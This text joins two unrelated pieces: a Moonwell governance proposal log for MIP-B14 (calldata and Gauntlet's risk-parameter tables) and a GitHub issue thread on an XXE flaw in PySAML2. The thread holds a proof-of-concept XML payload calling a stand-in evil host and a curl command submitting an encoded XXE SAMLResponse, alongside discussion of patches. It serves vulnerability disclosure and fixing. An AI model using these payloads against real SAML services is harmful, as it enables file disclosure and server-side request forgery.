Add mip-b14 with only base changes.

Script output:
No files changed, compilation skipped
Script ran successfully.

== Logs ==
  deployerAddress:  0x9A187663E454e99CAFd40a2712606CC306e301b2

calldata for execution on temporal gov: abi.encode(temporalGovernor, targets, values, payloads)
  0x0000000000000000000000008b621804a7637b781e2bbd58e256a591f2df7d51000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000240000000000000000000000000000000000000000000000000000000000000000600000000000000000000000073b06d8d18de422e269645eace15400de7462417000000000000000000000000628ff693426583d9a7fb391e54366292f509d457000000000000000000000000627fe393bc6edda28e99ae648fd6ff362514304b000000000000000000000000cb1dacd30638ae38f2b94ea64f066045b7d45f440000000000000000000000003bf93770f2d4a794c3d9ebefbaebae2a8f09a5e500000000000000000000000073b06d8d18de422e269645eace15400de74624170000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000024f2b3abbd000000000000000000000000fc7b55cc7c5bd3ae89ac679c7250ab30754c5cc5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024f2b3abbd0000000000000000000000000568a3aeb8e78262deff75ee68fac20ae35ffa91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b00000000000000000000000000000000000000000000000002c68af0bb14000000000000000000000000000000000000000000000000000000000000

  temporal governance calldata
  0xb19a437e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c800000000000000000000000000000000000000000000000000000000000005600000000000000000000000008b621804a7637b781e2bbd58e256a591f2df7d51000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000240000000000000000000000000000000000000000000000000000000000000000600000000000000000000000073b06d8d18de422e269645eace15400de7462417000000000000000000000000628ff693426583d9a7fb391e54366292f509d457000000000000000000000000627fe393bc6edda28e99ae648fd6ff362514304b000000000000000000000000cb1dacd30638ae38f2b94ea64f066045b7d45f440000000000000000000000003bf93770f2d4a794c3d9ebefbaebae2a8f09a5e500000000000000000000000073b06d8d18de422e269645eace15400de74624170000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000024f2b3abbd000000000000000000000000fc7b55cc7c5bd3ae89ac679c7250ab30754c5cc5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024f2b3abbd0000000000000000000000000568a3aeb8e78262deff75ee68fac20ae35ffa91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b00000000000000000000000000000000000000000000000002c68af0bb14000000000000000000000000000000000000000000000000000000000000
  wormhole publish governance calldata
  0xb19a437e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c800000000000000000000000000000000000000000000000000000000000005e4b19a437e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c800000000000000000000000000000000000000000000000000000000000005600000000000000000000000008b621804a7637b781e2bbd58e256a591f2df7d51000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000240000000000000000000000000000000000000000000000000000000000000000600000000000000000000000073b06d8d18de422e269645eace15400de7462417000000000000000000000000628ff693426583d9a7fb391e54366292f509d457000000000000000000000000627fe393bc6edda28e99ae648fd6ff362514304b000000000000000000000000cb1dacd30638ae38f2b94ea64f066045b7d45f440000000000000000000000003bf93770f2d4a794c3d9ebefbaebae2a8f09a5e500000000000000000000000073b06d8d18de422e269645eace15400de74624170000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000024f2b3abbd000000000000000000000000fc7b55cc7c5bd3ae89ac679c7250ab30754c5cc5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024f2b3abbd0000000000000000000000000568a3aeb8e78262deff75ee68fac20ae35ffa91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b00000000000000000000000000000000000000000000000002c68af0bb1400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

calldata for execution on temporal gov: abi.encode(temporalGovernor, targets, values, payloads)
  0x0000000000000000000000008b621804a7637b781e2bbd58e256a591f2df7d51000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000240000000000000000000000000000000000000000000000000000000000000000600000000000000000000000073b06d8d18de422e269645eace15400de7462417000000000000000000000000628ff693426583d9a7fb391e54366292f509d457000000000000000000000000627fe393bc6edda28e99ae648fd6ff362514304b000000000000000000000000cb1dacd30638ae38f2b94ea64f066045b7d45f440000000000000000000000003bf93770f2d4a794c3d9ebefbaebae2a8f09a5e500000000000000000000000073b06d8d18de422e269645eace15400de74624170000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000024f2b3abbd000000000000000000000000fc7b55cc7c5bd3ae89ac679c7250ab30754c5cc5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024f2b3abbd0000000000000000000000000568a3aeb8e78262deff75ee68fac20ae35ffa91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b00000000000000000000000000000000000000000000000002c68af0bb14000000000000000000000000000000000000000000000000000000000000

  artemis governor queue governance calldata
  [encoded data, 8266 characters]

Proposal Description:

# MIP-B14: Gauntlet's Base Recommendations

## Simple Summary

### Risk Parameters

A proposal to adjust 12 risk parameters:

| Risk Parameter        | Current Value | Recommended Value |
| --------------------- | ------------- | ----------------- |
| wstETH Reserve Factor | 25%           | 30%               |
| rETH Reserve Factor   | 25%           | 30%               |
| cbETH Reserve Factor  | 25%           | 30%               |
| DAI Reserve Factor    | 15%           | 20%               |
| wETH Supply Cap       | 10,500        | 12,500            |
| wETH Borrow Cap       | 8000          | 10,500            |
| DAI Supply Cap        | 4,500,000     | 2,500,000         |
| DAI Borrow Cap        | 3,800,000     | 2,000,000         |
| rETH Supply Cap       | 600           | 700               |
| wstETH Supply Cap     | 1600          | 1800              |
| wstETH Borrow Cap     | 700           | 800               |
| USDC Borrow Cap       | 10,000,000    | 12,000,000        |

<sub> \*Cap Recommendations will be implemented via Guardian </sub>

### IR Parameters

A proposal to adjust wETH's IR curve:

| wETH IR Parameters | Current   | Recommended |
| ------------------ | --------- | ----------- |
| Base               | **0.01**  | **0**       |
| Kink               | 0.8       | 0.8         |
| Multiplier         | **0.037** | **0.032**   |
| Jump Multiplier    | **4.8**   | **4.2**     |

A proposal to adjust DAI's IR curve:

| DAI IR Parameters | Current  | Recommended |
| ----------------- | -------- | ----------- |
| Base              | 0        | 0           |
| Kink              | **0.8**  | **0.75**    |
| Multiplier        | **0.05** | **0.067**   |
| Jump Multiplier   | **8.6**  | **9.0**     |

Our recommendation post is located in the forums, please refer to this [link](https://forum.moonwell.fi/t/gauntlet-s-base-moonbeam-moonriver-recommendations-2024-02-28/800).
By approving this proposal, you agree that any services provided by Gauntlet shall be governed by the terms of service available at gauntlet.network/tos

------------------ Proposal Actions ------------------
  1). Set interest rate model for Moonwell DAI to updated rate model
  target: 0x73b06D8d18De422E269645eaCe15400DE7462417
value: 0
payload
  0xf2b3abbd000000000000000000000000fc7b55cc7c5bd3ae89ac679c7250ab30754c5cc5

  2). Set interest rate model for Moonwell WETH to updated rate model
  target: 0x628ff693426583D9a7FB391E54366292F509D457
value: 0
payload
  0xf2b3abbd0000000000000000000000000568a3aeb8e78262deff75ee68fac20ae35ffa91

  3). Set reserve factor for Moonwell wstETH to updated reserve factor
  target: 0x627Fe393Bc6EdDA28e99AE648fD6fF362514304b
value: 0
payload
  0xfca7820b0000000000000000000000000000000000000000000000000429d069189e0000

  4). Set reserve factor for Moonwell rETH to updated reserve factor
  target: 0xCB1DaCd30638ae38F2B94eA64F066045B7D45f44
value: 0
payload
  0xfca7820b0000000000000000000000000000000000000000000000000429d069189e0000

  5). Set reserve factor for Moonwell cbETH to updated reserve factor
  target: 0x3bf93770f2d4a794c3d9EBEfBAeBAE2a8f09A5E5
value: 0
payload
  0xfca7820b0000000000000000000000000000000000000000000000000429d069189e0000

  6). Set reserve factor for Moonwell DAI to updated reserve factor
  target: 0x73b06D8d18De422E269645eaCe15400DE7462417
value: 0
payload
  0xfca7820b00000000000000000000000000000000000000000000000002c68af0bb140000

Reviewed outputs:
== Logs ==
  deployerAddress:  0xc191A4db4E05e478778eDB6a201cb7F13A257C23

calldata for execution on temporal gov: abi.encode(temporalGovernor, targets, values, payloads)
  0x0000000000000000000000008b621804a7637b781e2bbd58e256a591f2df7d51000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000240000000000000000000000000000000000000000000000000000000000000000600000000000000000000000073b06d8d18de422e269645eace15400de7462417000000000000000000000000628ff693426583d9a7fb391e54366292f509d457000000000000000000000000627fe393bc6edda28e99ae648fd6ff362514304b000000000000000000000000cb1dacd30638ae38f2b94ea64f066045b7d45f440000000000000000000000003bf93770f2d4a794c3d9ebefbaebae2a8f09a5e500000000000000000000000073b06d8d18de422e269645eace15400de74624170000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000024f2b3abbd000000000000000000000000fc7b55cc7c5bd3ae89ac679c7250ab30754c5cc5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024f2b3abbd0000000000000000000000000568a3aeb8e78262deff75ee68fac20ae35ffa91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b00000000000000000000000000000000000000000000000002c68af0bb14000000000000000000000000000000000000000000000000000000000000

  temporal governance calldata
  0xb19a437e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c800000000000000000000000000000000000000000000000000000000000005600000000000000000000000008b621804a7637b781e2bbd58e256a591f2df7d51000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000240000000000000000000000000000000000000000000000000000000000000000600000000000000000000000073b06d8d18de422e269645eace15400de7462417000000000000000000000000628ff693426583d9a7fb391e54366292f509d457000000000000000000000000627fe393bc6edda28e99ae648fd6ff362514304b000000000000000000000000cb1dacd30638ae38f2b94ea64f066045b7d45f440000000000000000000000003bf93770f2d4a794c3d9ebefbaebae2a8f09a5e500000000000000000000000073b06d8d18de422e269645eace15400de74624170000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000024f2b3abbd000000000000000000000000fc7b55cc7c5bd3ae89ac679c7250ab30754c5cc5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024f2b3abbd0000000000000000000000000568a3aeb8e78262deff75ee68fac20ae35ffa91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b00000000000000000000000000000000000000000000000002c68af0bb14000000000000000000000000000000000000000000000000000000000000
  wormhole publish governance calldata
  0xb19a437e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c800000000000000000000000000000000000000000000000000000000000005e4b19a437e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c800000000000000000000000000000000000000000000000000000000000005600000000000000000000000008b621804a7637b781e2bbd58e256a591f2df7d51000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000240000000000000000000000000000000000000000000000000000000000000000600000000000000000000000073b06d8d18de422e269645eace15400de7462417000000000000000000000000628ff693426583d9a7fb391e54366292f509d457000000000000000000000000627fe393bc6edda28e99ae648fd6ff362514304b000000000000000000000000cb1dacd30638ae38f2b94ea64f066045b7d45f440000000000000000000000003bf93770f2d4a794c3d9ebefbaebae2a8f09a5e500000000000000000000000073b06d8d18de422e269645eace15400de74624170000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000024f2b3abbd000000000000000000000000fc7b55cc7c5bd3ae89ac679c7250ab30754c5cc5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024f2b3abbd0000000000000000000000000568a3aeb8e78262deff75ee68fac20ae35ffa91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b00000000000000000000000000000000000000000000000002c68af0bb1400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

calldata for execution on temporal gov: abi.encode(temporalGovernor, targets, values, payloads)
  0x0000000000000000000000008b621804a7637b781e2bbd58e256a591f2df7d51000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000240000000000000000000000000000000000000000000000000000000000000000600000000000000000000000073b06d8d18de422e269645eace15400de7462417000000000000000000000000628ff693426583d9a7fb391e54366292f509d457000000000000000000000000627fe393bc6edda28e99ae648fd6ff362514304b000000000000000000000000cb1dacd30638ae38f2b94ea64f066045b7d45f440000000000000000000000003bf93770f2d4a794c3d9ebefbaebae2a8f09a5e500000000000000000000000073b06d8d18de422e269645eace15400de74624170000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000024f2b3abbd000000000000000000000000fc7b55cc7c5bd3ae89ac679c7250ab30754c5cc5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024f2b3abbd0000000000000000000000000568a3aeb8e78262deff75ee68fac20ae35ffa91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b0000000000000000000000000000000000000000000000000429d069189e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024fca7820b00000000000000000000000000000000000000000000000002c68af0bb14000000000000000000000000000000000000000000000000000000000000

  artemis governor queue governance calldata
  [encoded data, 8266 characters]

Proposal Description:

# MIP-B14: Gauntlet's Base Recommendations

## Simple Summary

### Risk Parameters

A proposal to adjust 12 risk parameters:

| Risk Parameter        | Current Value | Recommended Value |
| --------------------- | ------------- | ----------------- |
| wstETH Reserve Factor | 25%           | 30%               |
| rETH Reserve Factor   | 25%           | 30%               |
| cbETH Reserve Factor  | 25%           | 30%               |
| DAI Reserve Factor    | 15%           | 20%               |
| wETH Supply Cap       | 10,500        | 12,500            |
| wETH Borrow Cap       | 8000          | 10,500            |
| DAI Supply Cap        | 4,500,000     | 2,500,000         |
| DAI Borrow Cap        | 3,800,000     | 2,000,000         |
| rETH Supply Cap       | 600           | 700               |
| wstETH Supply Cap     | 1600          | 1800              |
| wstETH Borrow Cap     | 700           | 800               |
| USDC Borrow Cap       | 10,000,000    | 12,000,000        |

<sub> \*Cap Recommendations will be implemented via Guardian </sub>

### IR Parameters

A proposal to adjust wETH's IR curve:

| wETH IR Parameters | Current   | Recommended |
| ------------------ | --------- | ----------- |
| Base               | **0.01**  | **0**       |
| Kink               | 0.8       | 0.8         |
| Multiplier         | **0.037** | **0.032**   |
| Jump Multiplier    | **4.8**   | **4.2**     |

A proposal to adjust DAI's IR curve:

| DAI IR Parameters | Current  | Recommended |
| ----------------- | -------- | ----------- |
| Base              | 0        | 0           |
| Kink              | **0.8**  | **0.75**    |
| Multiplier        | **0.05** | **0.067**   |
| Jump Multiplier   | **8.6**  | **9.0**     |

Our recommendation post is located in the forums, please refer to this [link](https://forum.moonwell.fi/t/gauntlet-s-base-moonbeam-moonriver-recommendations-2024-02-28/800).
By approving this proposal, you agree that any services provided by Gauntlet shall be governed by the terms of service available at gauntlet.network/tos

------------------ Proposal Actions ------------------
  1). Set interest rate model for Moonwell DAI to updated rate model
  target: 0x73b06D8d18De422E269645eaCe15400DE7462417
value: 0
payload
  0xf2b3abbd000000000000000000000000fc7b55cc7c5bd3ae89ac679c7250ab30754c5cc5

  2). Set interest rate model for Moonwell WETH to updated rate model
  target: 0x628ff693426583D9a7FB391E54366292F509D457
value: 0
payload
  0xf2b3abbd0000000000000000000000000568a3aeb8e78262deff75ee68fac20ae35ffa91

  3). Set reserve factor for Moonwell wstETH to updated reserve factor
  target: 0x627Fe393Bc6EdDA28e99AE648fD6fF362514304b
value: 0
payload
  0xfca7820b0000000000000000000000000000000000000000000000000429d069189e0000

  4). Set reserve factor for Moonwell rETH to updated reserve factor
  target: 0xCB1DaCd30638ae38F2B94eA64F066045B7D45f44
value: 0
payload
  0xfca7820b0000000000000000000000000000000000000000000000000429d069189e0000

  5). Set reserve factor for Moonwell cbETH to updated reserve factor
  target: 0x3bf93770f2d4a794c3d9EBEfBAeBAE2a8f09A5E5
value: 0
payload
  0xfca7820b0000000000000000000000000000000000000000000000000429d069189e0000

  6). Set reserve factor for Moonwell DAI to updated reserve factor
  target: 0x73b06D8d18De422E269645eaCe15400DE7462417
value: 0
payload
  0xfca7820b00000000000000000000000000000000000000000000000002c68af0bb140000


PySAML vulnerable to XXE

Roland (@rohe),
Description
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
It seams that the PySAML2 library does not contemplate the possibility of SAML "XML" requests or responses containing External Entities or File Local inclusion resulting on malicious XML requests or responses being able to trigger an XXE attack.
Proof of Concept SAMLResponse:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % payload SYSTEM "http://myevildomain.com/evil.dtd"> %payload;]>

For more information refer to:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

Recommendations:
It is my recommendation that you should disable all these by default and if necessary give the user the option to enable them on their settings.

@rohe Any updates on this ? Was wondering if you need any help. This is a pretty serious issue. Also I wanted to let you know that an underlying library you use xmlsec is also vulnerable, so I have created a ticket on their side which might be related to yours. https://github.com/lsh123/xmlsec/issues

@rohe it looks like your problem actually goes all the way down to libxml2 https://bugzilla.gnome.org/show_bug.cgi?id=772726

11 okt. 2016 kl. 20:10 skrev Matias P. Brutti<EMAIL_ADDRESS>@rohe https://github.com/rohe it looks like your problem actually goes all the way down to libxml2 https://bugzilla.gnome.org/show_bug.cgi?id=772726 https://bugzilla.gnome.org/show_bug.cgi?id=772726
Correct, I’ve come to same conclusion.
No quick fix then.

— Roland

@FreedomCoder @rohe Could you imagine the impact this vulnerability causes? Is it possible to bypass authentication? Is it possible to get the content of some local files e.g. via error messages?
As there is also Pull Request #366 fixed, will you release a new version of pysaml2 so that the debian package can be updated? Is the current git HEAD stable enough to use?

same for gentoo, though we may need to backport this to 4.0.2 because of the pycryptome change in 4.0.3 and openstack not working with it.

don't even know the sha for the 4.0.2 tag, not sure how we are going to deal with this...

I do have a patch that works with 4.0.2 though
https://gist.github.com/1ea1da1375d31005e174f7e6df4037c1

passes tests, at least the tests I could run
testfed-metadata.xml is a file I don't have
tests/test_41_response.py ..F.
tests/test_84_entcat.py .F

neither of those files are ones that I touched at least and the second one was because of the missing test file.

so, a few downstreams have requested, that since they do not package pycryptome and packaging it would be difficult that someone go back in history to the commit that was 4.0.2, check it out, branch from there, and create a <IP_ADDRESS> with the fix (possibly the patch I mangled).  Then upload that to pypi.  I don't know if this is feasible though...

Is this issue actually exploitable? Or is this only a theoretical issue?
Using the following XML snipped:
urllib.quote('''<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % payload SYSTEM "http://localhost:8000/evil.dtd"> %payload;]>'''.encode('base64').strip())

Transforming it into a SAMLResponse request:
curl -ik 'https://localhost/saml/' -H 'Content-Type: application/x-www-form-urlencoded' --data 'SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48IURPQ1RZUEUgcm9vdCBbIDwh%0ARU5USVRZICUgcGF5bG9hZCBTWVNURU0gImh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9ldmlsLmR0ZCI%2B%0AICVwYXlsb2FkO10%2B'

Turns in a exception but no external request is done:
Traceback (most recent call last):
  File ...
    response = self.sp.parse_authn_request_response(message, binding, self.outstanding_queries)
  File "/usr/lib/python2.7/dist-packages/saml2/client_base.py", line 580, in parse_authn_request_response
    binding, **kwargs)
  File "/usr/lib/python2.7/dist-packages/saml2/entity.py", line 1087, in _parse_response
    response = response.verify(keys)
  File "/usr/lib/python2.7/dist-packages/saml2/response.py", line 964, in verify
    res = self._verify()
  File "/usr/lib/python2.7/dist-packages/saml2/response.py", line 377, in _verify
    assert self.response.version == "2.0"
AttributeError: 'NoneType' object has no attribute 'version'

@spaceone this is 100% exploitable. The way it was found was through exploitation so yes. The problem is on xmlsec1 and libxml itself. Which are currently being patched.

@FreedomCoder
I can't find a way to reproduce this with pysaml2.
When using a external reference as in your example, no request ist done.
With inotifywatch there are no notifications when using a local file reference.
I even concatenated this with a real SAML response.
I think the part which is vulnerable is the signature check via xmldsig?! Do I need to modify only a part of the SAML Response e.g. the <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> element (maybe with an XInclude?).
Is it possible to gain a local file through this?

@FreedomCoder Could you answer? We need to shutdown our services if that is possible.

@spaceone I've been using this to test things.  It is a shitty script I quickly build and I have not had time to refine into a proper tool. If you need help testing your UCS endpoints if you point me to a sample deployment. I can certainly test it and let you know privately the results.
https://gist.github.com/FreedomCoder/77804052accd69e5d2a9ceb879d70143

@FreedomCoder Thanks, I added some comments to your snipped.

@spaceone correctly if I am wrong!!
@rohe:  it looks like the patch proposed by @prometheanfire in which we change the parsing library fixes the vulnerability according to @spaceone tests on is own infrastructure.

@FreedomCoder @rohe Yes, as far as I can see defusedxml is used always before any call to xmldsig. The following exception is raised in case of such a XXE attack:
  File "/usr/lib/python2.7/dist-packages/saml2/client_base.py", line 573, in parse_authn_request_response
    binding, **kwargs)
